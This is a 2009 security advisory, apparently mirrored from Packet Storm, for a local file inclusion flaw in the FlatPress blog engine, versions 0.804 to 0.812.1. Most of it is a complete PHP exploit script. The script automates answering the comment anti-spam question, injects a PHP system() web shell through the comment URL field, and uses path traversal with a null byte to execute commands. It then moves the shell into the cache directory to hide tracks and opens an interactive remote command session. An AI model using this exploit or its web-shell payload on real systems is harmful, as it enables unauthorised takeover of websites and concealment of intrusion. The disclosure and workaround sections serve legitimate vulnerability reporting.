Lucene search
K

FlatPress Local File Inclusion / Command Execution

🗓️ 29 Sep 2009 00:00:00Reported by Giuseppe FuggianoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution security advisor

Code
`Security Advisory  
-----------------  
FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution  
  
  
Researcher Information  
----------------------  
Discovered by: Giuseppe `Zmax` Fuggiano  
Website: http://www.giusef.net  
Contact: giuseppe(dot)fuggiano(at)gmail(dot)com  
  
  
Product Information  
-------------------  
FlatPress is an open-source standard-compliant multi-lingual  
extensible blogging engine written in PHP by Edoardo Vacchi.  
  
Website: http://www.flatpress.org  
  
  
Vulnerability Description  
-------------------------  
The versions 0.804 through 0.812.1 are resulting to be prone to a nasty  
LFI vulnerability which can be exploited to have RCE (Remote Command  
Execution). The piece of code involved is in the  
fp-includes/core/core.users.php directory in the user_get() function  
as showed below.  
  
function user_get($userid=null){  
if ($userid == null && ($user = user_loggedin())) {  
return $user;  
}  
if (file_exists($f = USERS_DIR . $userid.".php")) {  
include($f);  
  
return $user;  
}  
}  
  
It is possible to create a crafted comment for an article, and inject  
PHP code into the "web link" field, which is not properly validated.  
Then, a remote attacker could use this code to execute shell commands  
remotely, eventually hiding his own tracks (e.g. deleting the injected  
comment).  
  
  
Disclosure timeline  
-------------------  
  
DD/MM/YYYY  
  
* 24/09/2009: Vulnerability discovery and analysis;  
* 26/09/2009: The vendor was notificated via e-mail;  
* 26/09/2009: Vendor response and a new release publicly available;  
* 27/09/2009: The researcher starts coding the exploit;  
* 29/09/2009: Exploit complete and tested.  
  
  
Workaroud  
---------  
Update to the newer version 0.812.2  
  
  
Shouts  
------  
Thank you (you-know-who) :-)  
  
  
Exploit  
-------  
<?php  
/* Author: Giuseppe `Zmax` Fuggiano <giuseppe(dot)fuggiano(at)gmail(dot)com>  
*  
* Description: FlatPress 0.804-0.812.1 Local File Inclusion to  
Remote Command Execution  
* vulnerability exploit (fp-includes/core/core.users.php).  
* This code posts a crafted comment with a very simple  
PHP shell.  
* It exploits the LFI, hides the shell in the cache directory  
* and starts a remote command session via POST.  
*  
* Syntax: php fp-lfi2rce.php <host> <path> [action] [lang] [shell]  
* <host>: the hostname or IP address of your target;  
* <path>: the path where FlatPress was installed;  
* [action]: the action to take against the host system  
(test, attack);  
* [lang]: the remote language used (en, it);";  
* [shell]: if already exploited, you could just have the shell name.  
*  
* Dependencies: php5-curl.  
*  
* Examples:  
* php fp-lfi2rce.php www.example.com /  
=> will test  
* php fp-lfi2rce.php www.example.com /blog attack  
=> will attack  
* php fp-lfi2rce.php www.example.com /flatpress attack en  
12345678.php => start remote session  
*/  
  
/* GET request, returns the page */  
function get_url_contents($crl, $url)  
{  
curl_setopt($crl, CURLOPT_URL, $url);  
curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);  
curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');  
curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');  
$ret = curl_exec($crl);  
  
return $ret;  
}  
  
/* POST request */  
function post_url_fields($crl, $url, $fields)  
{  
curl_setopt($crl, CURLOPT_URL, $url);  
curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);  
curl_setopt($crl, CURLOPT_POST, 1);  
curl_setopt($crl, CURLOPT_POSTFIELDS, $fields);  
curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');  
curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');  
$ret = curl_exec($crl);  
  
return $ret;  
}  
  
/* Execute remote command, returns the output */  
function fp_exec($crl, $sh, $cmd)  
{  
$ret = post_url_fields($crl, $sh, "c=$cmd");  
  
if ($ret) {  
$pos1 = strpos($ret, 'http://www.aaa') + 14;  
$pos2 = strpos($ret, 'aaa.com', $pos1);  
$result = substr($ret, $pos1, $pos2-$pos1);  
return $result;  
} else  
return false;  
}  
  
/* Starts a remote command session */  
function fp_shell($crl, $sh)  
{  
echo "\nStarting remote command session, type 'quit' or 'exit' to exit.\n";  
  
echo "\nremote> ";  
$line = trim(fgets(STDIN));  
  
while (($line != 'exit') && ($line != 'quit')) {  
if ($line != "") {  
if ($ret = fp_exec($crl, $sh, $line)) {  
echo "\n$ret";  
} else  
echo "\nError.\n";  
}  
echo "\nremote> ";  
$line = trim(fgets(STDIN));  
}  
}  
  
function fail($crl, $str)  
{  
curl_close($crl);  
  
die($str);  
}  
  
echo "\n Author: Giuseppe `Zmax` Fuggiano  
<giuseppe(dot)fuggiano(at)gmail(dot)com>\n";  
echo "\n";  
echo " Description: FlatPress 0.804-0.812.1 Local File Inclusion to  
Remote Command Execution\n";  
echo " vulnerability exploit  
(fp-includes/core/core.users.php).\n";  
echo " This code posts a crafted comment with a very  
simple PHP shell.\n";  
echo " It exploits the LFI, hides the shell in the  
cache directory\n";  
echo " and starts a remote command session via POST.\n";  
echo "\n";  
echo " Syntax: $argv[0] <host> <path> [action] [lang] [shell]\n";  
echo " <host>: the hostname or IP address of your target;\n";  
echo " <path>: the path where FlatPress was installed;\n";  
echo " [action]: the action to take against the host system  
(test, attack);\n";  
echo " [lang]: the remote language used (en, it);\n";  
echo " [shell]: if already exploited, you could just have  
the shell name.\n";  
echo "\n";  
echo " Examples:\n";  
echo " php $argv[0] www.example.com /  
=> will test\n";  
echo " php $argv[0] www.example.com /blog attack  
=> will attack\n";  
echo " php $argv[0] www.example.com /flatpress attack en  
12345678.php => start remote session\n\n";  
  
$crl = curl_init();  
  
if ($argc < 3 || $argv[2] == '--help' || $argv[2] == '-h')  
die();  
  
$HOST = $argv[1];  
$PATH = $argv[2];  
  
if (isset($argv[3]))  
$ACTION = $argv[3];  
else  
$ACTION = 'test';  
  
if (isset($argv[4]))  
$LANG = $argv[4];  
else  
$LANG = 'en';  
  
switch ($LANG) {  
case 'it':  
$LANGARRAY = array('aaspam' => 'Per prevenire abusi del  
sistema di commenti, ' .  
'ti chiediamo di scrivere il  
risultato di ' .  
'questa semplice operazione matematica',  
'sum' => 'sommare',  
'subtract' => 'togli');  
break;  
default: /* en */  
$LANGARRAY = array('aaspam' => 'As a way to prevent abuses of  
this commenting system, ' .  
'we must ask you to give the  
result of this simple ' .  
'mathematical operation',  
'sum' => 'sum',  
'subtract' => 'subtract');  
break;  
}  
  
if (isset($argv[5])) {  
$SHELL = $argv[5];  
fp_shell($crl, "fp-content/cache/$SHELL");  
curl_close($crl);  
exit();  
} else  
$SHELL = 'unknown';  
  
echo " Host: $HOST\n";  
echo " Path: $PATH\n";  
echo " Lang: $LANG\n";  
echo " Shell: $SHELL\n\n";  
  
echo " [+] Vulnerability test: ";  
  
$form = "user=../../admin&pass=".rand()."&submit=Login";  
$loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);  
  
if (strpos($loginpage, '<meta name="generator" content="FlatPress') == false)  
echo "vulnerable!\n\n";  
else  
fail($crl, "NOT vulnerable!\n\n");  
  
if ($ACTION == "test") {  
curl_close($crl);  
exit();  
}  
  
echo " [+] Creating the shell\n";  
echo " * Getting the home page: ";  
  
$home = get_url_contents($crl, "$HOST/$PATH/");  
  
if (strpos($home, '<meta name="generator" content="FlatPress'))  
echo "ok\n";  
else  
fail($crl, "FAIL!\n\n");  
  
echo " * Detecting an article: ";  
  
$entrypos = strpos($home, "x=entry:entry") + 8;  
  
if ($entrypos) {  
$entry = substr($home, $entrypos, 18);  
echo "$entry\n";  
} else  
fail($crl, "FAIL!\n\n");  
  
echo " * Getting the comment page: ";  
  
$commentpage = get_url_contents($crl,  
"$HOST/$PATH/?x=entry:$entry;comments:1");  
  
if (strpos($commentpage, 'id="comment-userdata"'))  
echo "ok\n";  
else  
fail($crl, "FAIL!\n\n");  
  
echo " * Solving the math operation: ";  
  
$mathpos = strpos($commentpage, $LANGARRAY['aaspam']) +  
strlen($LANGARRAY['aaspam']);  
$mathpos = strpos($commentpage, "strong", $mathpos) + strlen("strong>");  
$mathstr = substr($commentpage, $mathpos, strlen($commentpage)-$mathpos);  
$operation = strtok($mathstr, " ");  
  
switch ($operation) {  
case $LANGARRAY['sum']:  
$first = strtok(' ');  
$to = strtok(' ');  
$second = strtok(' ');  
$result = $first + $second;  
break;  
case $LANGARRAY['subtract']:  
$first = strtok(' ');  
$from = strtok(' ');  
$second = strtok(' ');  
$result = $second - $first;  
break;  
case (is_numeric($operation) ? $operation : ""):  
$first = $operation;  
$times = strtok(' ');  
$second = strtok(' ');  
$result = $first * $second;  
break;  
default:  
fail($crl, "FAIL!\n\n");  
}  
  
echo "$result\n";  
  
echo " * Posting crafted comment...\n";  
  
$random = rand();  
$form = 'name='.$random.'&[email protected]&url=http://www.aaa\<?system($_POST[\'c\']);?\>aaa.com'  
.  
'&aaspam='.$result.'&content=foo&submit=Add';  
  
post_url_fields($crl, "$HOST/$PATH/?x=entry:$entry;comments:1", $form);  
$commentpage = get_url_contents($crl,  
"$HOST/$PATH/?x=entry:$entry;comments:1");  
  
echo " * Searching comment name: ";  
  
if (preg_match_all("/comment[0-9][0-9][0-9][0-9][0-9][0-9]-[0-9][0-9][0-9][0-9][0-9][0-9]/",  
$commentpage, $comments, PREG_PATTERN_ORDER)) {  
$commententry = end($comments[0]);  
echo "$commententry\n";  
} else  
fail($crl, "FAIL!\n\n");  
  
$year = substr($entry, 5, 2);  
$month = substr($entry, 7, 2);  
$commentpath = "content/$year/$month/$entry/comments/$commententry.txt";  
  
echo " * Hiding tracks: ";  
  
$SHELL = rand().'.php';  
  
$form = "user=../$commentpath%00a&pass=".rand()."&submit=Login" .  
"&c=mv -f fp-content/$commentpath fp-content/cache/$SHELL";  
  
$loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);  
  
if (strpos($loginpage, 'http://www.aaa') && strpos($loginpage, 'aaa.com')) {  
echo "ok\n\n";  
echo " [+] Your shell: fp-content/cache/$SHELL\n";  
} else  
fail($crl, "FAIL!\n\n");  
  
fp_shell($crl, "$HOST/$PATH/fp-content/cache/$SHELL");  
  
curl_close($crl);  
  
exit();  
?>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation